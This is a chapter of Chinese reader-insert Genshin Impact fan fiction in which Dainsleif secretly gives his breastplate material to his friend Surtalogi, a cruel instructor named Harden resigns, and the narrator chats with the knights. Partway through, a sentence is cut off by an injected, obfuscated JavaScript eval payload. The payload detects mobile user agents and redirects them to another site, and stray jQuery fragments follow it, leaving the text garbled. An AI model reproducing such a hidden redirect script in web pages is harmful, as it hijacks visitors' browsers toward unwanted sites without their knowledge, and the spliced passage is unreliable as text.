36. 哈登的辞呈

作品:《今天他们没有拆家【原神乙女】

    “再来。”剑光闪过,在苏尔特洛奇肩甲上碰出一道划痕。戴因斯雷布脸上殊无笑意,“她果然没说错。”


    戴因斯雷布的剑法当然还无法与哈登相比,仅是对那人剑术的模仿,就足够逼出朋友的破绽。要想办法打过那家伙,或者不被他武力压制,最少也要保证自己的安全。


    一种难言的烦躁在戴因斯雷布心头翻涌。你论及战斗时懒洋洋,似乎带着些苦恼,但提出的建议却很远比他想象中精到,关于苏尔特洛奇弱点的论述也是如此。现在看来,给苏尔特洛奇打造一副坚实的铠甲,就是此刻相当要紧的事。但这样重要的事,他之前居然不以为有多要紧。


    如果苏尔特洛奇真的因此而受到什么伤害——戴因斯雷布握紧手中的剑,他有些不敢想下去。


    “不要在没有防备的时候对上他。”戴因斯雷布轻声叹息,他叮嘱自己的朋友,“盔甲的事,我来想想办法。”


    “你确定要这样做?”维瑟弗尼尔看向自己的弟弟,“按照骑士学院的传统,现在锻造盔甲有些早,而我早年备下的料子,足够给你打一套全身的盔甲,最结实的那一种。但你此番问我,为的却并不是你自己。”


    预言家视线悠悠,他上前一步,按上戴因斯雷布的肩头。“骑士之途艰险,却与你的心性相称,我能看你放手一搏,也无非是靠这双眼睛。”


    “到时候你要怎么办?你深入险境、腹背受敌的时候,又有什么可以帮助你?你要带着已经侵损的盔甲,去冒本不该由你承担的风险吗?”他微微低头,似是痛惜。


    “维瑟弗尼尔,我没打算动那身盔甲的材料。既然你指定了送去锻造的日期,我并不打算越过它——我要那一样材料,那片预定要打造成护心甲的,我要提前取用。”戴因斯雷布眼神坚定,“不该因‘到时候’,而废弃‘现在’,这是你曾经教给我的道理。”


    “我是教过你。”维瑟弗尼尔不太情愿,他没有阻拦的动作,语气却不甚赞同,“知晓锋刃的锐利,嗅见金属的气息,却选择撤去自己的保障,让自己的身躯离危险更近一步。我总是看着人们选择,但在大部分时候,我并不赞同。”


    “是。”戴因斯雷布点头,“你拦不住他们。”


    “人们皆有自己信赖之人。而你知道骑士之途符合我的心性,就知道这选择一定与我相称。本可以做到,却没有去做,这样的事不该出现在骑士的道路上。”


    预言家垂眼,不再去看可能出现在戴因斯雷布身上的伤痕。


    “什么?你给我打了护甲?”苏尔特洛奇惊呼出声,“是你哥哥特意留给你的材料吧?那怎么能行,我不能收你的礼物。”


    “等我们正式成为骑士的时候,会有完全属于自己的盔甲,这是应有的分例。”戴因斯雷布没有收回手,“你不相信我的实力?”


    “这怎么能一样?那一位看上的,能是什么寻常的材质?是求都求不来的——”好友的手又往前一推,护甲与他身上的碰撞,发出一点响声。苏尔特洛奇看出戴因斯雷布的坚决,他蹙眉,有些为难,“你真要给我?”


    “是。我的性格,你多少有些了解,既然是我决定了的事,希望你不要推辞。”


    苏尔特洛奇呼出一口气,他想到了什么,眉宇里终于多了点轻快,“也是,你哥哥总不会不为你想的,希望他的那个后手能保护好你。”


    “嗯。”戴因斯雷布点头,他无意开口解释——所谓的“后手”,就是那块护心甲,而用来打护心甲的材质,如今正被他交到了朋友手里。


    “岂有此理?岂有此理!”哈登愤怒地将剑拍在办公桌上。


    “你又生什么气?”另一位老师“啧”了一声。


    “还不是那两个毛头小子——”


    “戴因斯雷布和苏尔特洛奇?不是吧?有学生帮着带新人还不好啊?他们带着学习、互助、切磋,教出来成绩又好,当老师又省力。要不是没有先例,真该给开个什么‘助教’之类的岗位。”


    “就是,一个活泼热情,一个沉稳可靠,也没亏着礼数,我还听说那两个孩子和老师切磋,也没落下风。”


    “何止如此啊?当时可是差点出事!学生的盔甲哪经得起教师授课用的武器?有一个孩子肩甲和膝盖上的护甲被戳得破破烂烂,要不是里面还有一层护具,怕是胳膊和腿都得落下重伤,也不知道是什么人,专挑着孩子下手,那么毒辣——哎你猜怎么着,给人欺负成那样,人家小伙子还打赢了!”


    哈登闭上眼睛,只觉得一阵天旋地转,睁眼是锋利的剑光和戴因斯雷布眼里暗藏的桀骜,闭眼是他锋利的长剑破甲后又碰到防具的声音。苏尔特洛奇挑眉,他没有出声,但他眉眼分明是在问:又如何呢?


    小小的火苗在更多后辈骑士的眼中亮起,这令哈登有些胆寒。骑士不会是温驯的羊,令他自豪的武力也不再无往不利。耳边的议论声还没有止歇,俱是些说他们是好小伙,斥责那人心狠毒辣,没有德行的言辞。


    哈登脸上一片火辣,气血翻搅,他竟昏了过去。


    “你听说了吗?”苏尔特洛奇讶异,“哈登他递上了辞呈。”


    “通过了?”戴因斯雷布抱着剑,他看起来并不惊讶。


    “消息都传到我们这儿了,那八成就是这么个事。”


    “也好。”按哈登的行事风格,留在这里也是伤害新的见习骑士。


    “你送我的那一套护甲,我还给你吧。”苏尔特洛奇只觉得恍如隔世,“如果不是有它们——谢谢你,也谢谢她。她的份儿,等有了合适的花,我摆点点心,再同她细讲。”


    “不,就留在你身边。”戴因斯雷布眉眼舒展了些许,“不要从你身上取下来。”


    坎瑞亚并非神明的国度,戴因斯雷布也从未把你视为神明。既然他身边就有一位预言家,那你的提醒,又何尝不能看作是一种“预言”?只是和维瑟弗尼尔不同,你所提醒的,并非既定而不可更改,只是……


    戴因斯雷布想起维瑟弗尼尔那欲言又止的目光。既然他做出这个决定,而做出的决定改变了朋友的痛苦,他或许就是要为自己的选择承担点什么。


    世间哪有从不受伤的骑士?而能够守护什么,是身为骑士


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148986|196342||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的他想要完成的事。


    “你问我上哪给他找点好防具?”你托着下巴,靠在窗边的小几旁。


    见苏尔特洛奇眼含期待,你压低声音,“你那元素力学习得怎么样了?”


    “这和元素力又有什么关系?大概能用来打架,还能给你做烟花表演。”苏尔特洛奇低声飞速吟唱,各色的光彩依次流转。


    “元素力就是能扛伤害啊。不想吃反应的话就练岩元素吧。反正你们这儿最不缺的就是石头。”


    “你的意思是说,我可以凭借自己的力量给他捏成盔甲一样的东西?”他眼含兴奋。


    “理论上是可行啦。”你拈起一块糕点,面不改色。


    苏尔特洛奇很有诚意,这诚意不影响他将手作的糕点炸得焦黄。


    “我也有给你的礼物。”骑士忽然有些忸怩,“你凑近一点。”


    “这么神秘?”你吃下糕点,擦了擦手,郑重等待苏尔特洛奇的礼物。


    一朵花。骑士却没有松手,花瓣流彩,各色元素依次散向空中,又飘落在你的手心,变成各色的花瓣。


    魔术,或者说,一场小小的花瓣雨。


    “怎么样?”睫毛颤动的幅度多少暴露了苏尔特洛奇的紧张。


    捧场的话你并不缺,但话到嘴边,变成了一句真诚的感慨,“很漂亮,谢谢你。”


    苏尔特洛奇松了一口气。你似乎想起什么,飞速将花瓣倒到一只手心,另一手顺畅地握住了苏尔特洛奇的小臂。


    “你——”


    在骑士的脸颊爆红之前,你开口问他。


    “咱们做骑士的,遇见特别小特别小的小女孩,应该做什么呀?”


    “送她回家?”


    “她要是没有家的话,临时将她带在身边的你,要如何处理呢?”


    “按照条件提供合适的饭菜。”苏尔特洛奇看着你笑着点头,犹豫地往后补充,“教她学习武艺,还有时间关心一下她的兴趣爱好?”


    “如果那孩子快到达身体的极限,你会逼着她突破那极限,即使那会带来难以逆转的损害吗?”


    “那当然不行!”苏尔特洛奇斩钉截铁,“我是一名骑士,又不是……”


    又不是什么大反派?你看着在原有的轨迹中在各个世界跨越,完全握着反派剧本,给丝柯克留下伤害和阴影,又将她养大的极恶骑,以微笑作答。


    “苏尔特洛奇,记住你今天的话。”


    风中有了香气,戴因斯雷布没有转身,“你来得倒是比传说中要晚,按维瑟弗尼尔的说法,大部分时候你会很快作出回应。”


    “那怎么一样,大部分时候大家只是想吃东西,我又不会露面。”


    鲜花,干净的饮用水,洗过的坐垫,以你的经验来看,这几乎就是坎瑞亚人最高规格的招待了。


    你有些好奇地转了一圈,“你无所求,怎么还是喊我来了,你不是——”


    不是不信祈愿之说吗?


    “这不一样。”戴因斯雷布说,“于情于理,我都应当向你道谢。所以我想要问你,你有什么想要的吗?”